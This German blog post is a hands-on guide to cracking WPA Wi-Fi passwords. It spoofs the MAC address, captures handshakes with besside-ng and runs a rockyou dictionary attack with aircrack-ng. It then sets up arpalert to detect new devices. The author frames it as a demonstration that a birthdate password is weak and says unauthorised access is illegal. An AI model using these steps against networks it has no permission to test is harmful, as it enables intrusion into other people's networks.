Tuesday, July 9, 2024

WLAN hacking

Viele Anleitungen und auch die gängige Fachliteratur nutzen die klassischen Tools der Aircrack-ng Suite airodump-ng(8) und aireplay-ng(8). Vergleiche diese Anleitung: How to Crack WPA/WPA2

Die Aircrack-ng Suite bietet aber auch experimentelle Tools wie besside-ng(8), um ein WLAN zu hacken. Es knackt einen WEP- oder WPA-Schlüssel ohne Benutzereingriff.

Installation der Aircrack-ng Suite

Die Aircrack-ng Suite kann über die Paketverwaltung installiert werden:

apt install aircrack-ng

Es empfiehlt sich jedoch die experimentellen Tools, direkt von Upstream zu installieren:

# Bauabhänigkeiten installieren
apt build-dep aircrack-ng
# Aircrack-ng aus den Quellen installieren
git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng
NOCONFIGURE=1 ./autogen.sh
./configure --with-ext-scripts # enable experimental, extra scripts
make
make install

Die Tools liegen nun unterhalb von /usr/local und sind im PATH, so dass diese direkt in der Shell ausgeführt werden können.

MAC-Address spoofing

Bevor man das WLAN scannt, sollte man die MAC-Adresse des eigenen Adapter ändern. Dafür eignet sich z.B. das Tool macchanger(1):

apt install macchanger
macchanger -a wlan0 # set random vendor MAC of the same kind

Siehe auch: www.privacy-handbuch.de

Wordlist

Vorweg muss gesagt werden, dass sich WPA, aktuell nur mittels Wörterbuch/Brute Force angreifen lässt.

Kali Linux hat im Paket wordlists das rockyou.txt Wörterbuch, das wie folgt installiert wird:

apt install wordlists
gunzip /usr/share/wordlists/rockyou.txt.gz # entpacken

WLAN-Passwort knacken

WLAN-Passwörter können eine Länge von 8 bis 63 Zeichen haben. Laut den Vorgaben des BSI sollte das Passwort aus mindestens 20 Zeichen bestehen, was vom gewählten Verschlüsselungsverfahren unabhängig gilt.

besside-ng

# WLAN-Adapter in den monitor mode schalten
airmon-ng start wlan0
# WPA-Handshakes aufzeichnen
besside-ng -vvv wlan0mon
# Log verfolgen
tail -f ./besside.log

Die WPA-Handshakes werden in der Datei ./wpa.cap gespeichert.

# Den monitor mode wieder abschalten
airmon-ng stop wlan0mon

Versuchen das WLAN-Passwort zu erraten:

aircrack-ng -w /usr/share/wordlists/rockyou.txt ./wpa.cap

Über neue Geräte im WLAN benachrichtigt werden

Mit dem Tool arpalert(8) können neue Geräte im Netzwerk anhand der MAC-Adresse erkannt werden.

apt install arpalert

Dies installiert das Paket arpalert über die Paketverwaltung.

In der Datei /etc/arpalert/arpalert.conf muss der Wert für das zu überwachende Interface gesetzt werden, ansonsten wird einfach das erste Interface genommen. Es können mehrere Interfaces durch Kommata getennt angegeben werden.

interface = wlan0

Auch muss in der Datei /etc/arpalert/arpalert.conf ein Script für action on detect angegeben werden, das bei Alarm eine Aktion auslöst. Im Beispiel unten, soll eine E-Mail an root gesendet werden.

action on detect = /usr/local/sbin/arpalert-action-on-detect # s.u.
#!/usr/bin/env sh
# ARP alert action
# grep "action on detect" /etc/arpalert/arpalert.conf 
# action on detect = /usr/local/sbin/arpalert-action-on-detect

mac="$1"
ip="$2"
extras="$3"
device="$4"
type_of_alert="$5"
vendor="$6"

case "$type_of_alert" in
	0)	subject="IP change $ip ($vendor)" ;;
	1)	subject="MAC already detected but not in white list" ;;
	2)	subject="MAC in black list" ;;
	3)	subject="New MAC $mac ($vendor)" ;;
	4)	subject="Unauthorized arp request" ;;
	5)	subject="Abusive number of arp request detected" ;;
	6)	subject="Ethernet MAC different from ARP MAC" ;;
	7)	subject="Flood detected" ;;
	8)	subject="New MAC whithout IP $mac ($vendor)" ;;
	9)	subject="MAC change $mac ($vendor)" ;;
	10)	subject="MAC expiere $mac ($vendor)" ;;
	*)	subject="n/a" ;;
esac

mail -s "$subject" root <<!
$device $ip $mac $vendor
$subject ($type_of_alert)
$extras
!

Damit das eigene Gerät keinen Alarm auslöst, muss dessen MAC-Adressen in die Datei /etc/arpalert/maclist.allow eingetragen werden und weiterhin angegeben werden, dass die Events für ip_change und new_mac ignoriert werden sollen:

cat <<! >>/etc/arpalert/maclist.allow
XX:XX:XX:YY:YY:YY 0.0.0.0 wlan0 ip_change
!
service arpalert force-reload

Weitere Geräte können, dem obigen Schema folgend, als neue Zeilen hinzugefügt werden.

Ein WLAN-Router kann i.d.R. auch so konfiguriert werden, dass nur bestimmte MAC-Adressen (Geräte) überhaupt eine Verbinung aufbauen dürfen (Whitelist).

Die .leases leeren:

service arpalert stop
>/var/lib/arpalert/arpalert.leases
service arpalert start

Schlusswort

Diesen Artikel habe ich geschrieben, um einer Bekannten Nachbarin die ihr Geburtsdatum als WLAN-Passwort gesetzt hat zu zeigen, dass es nur wenige Minuten braucht, bis man dieses erraten hat. Ich habe dazu ein Wörterbuch erstellt, das ein paar Datumsangaben enthält: dates.gz

Wer sich ernsthaft in des Nachbarn WLAN einloggen will, sollte bedenken, dass MAC-Adresse und Hostname im WLAN-Router geloggt werden. Und vor allem, dass es verboten ist. Vielleicht mag noch jemand den Straftatbestand und das mögliche Strafmaß in die Kommentare schreiben!

Links und Weiterführendes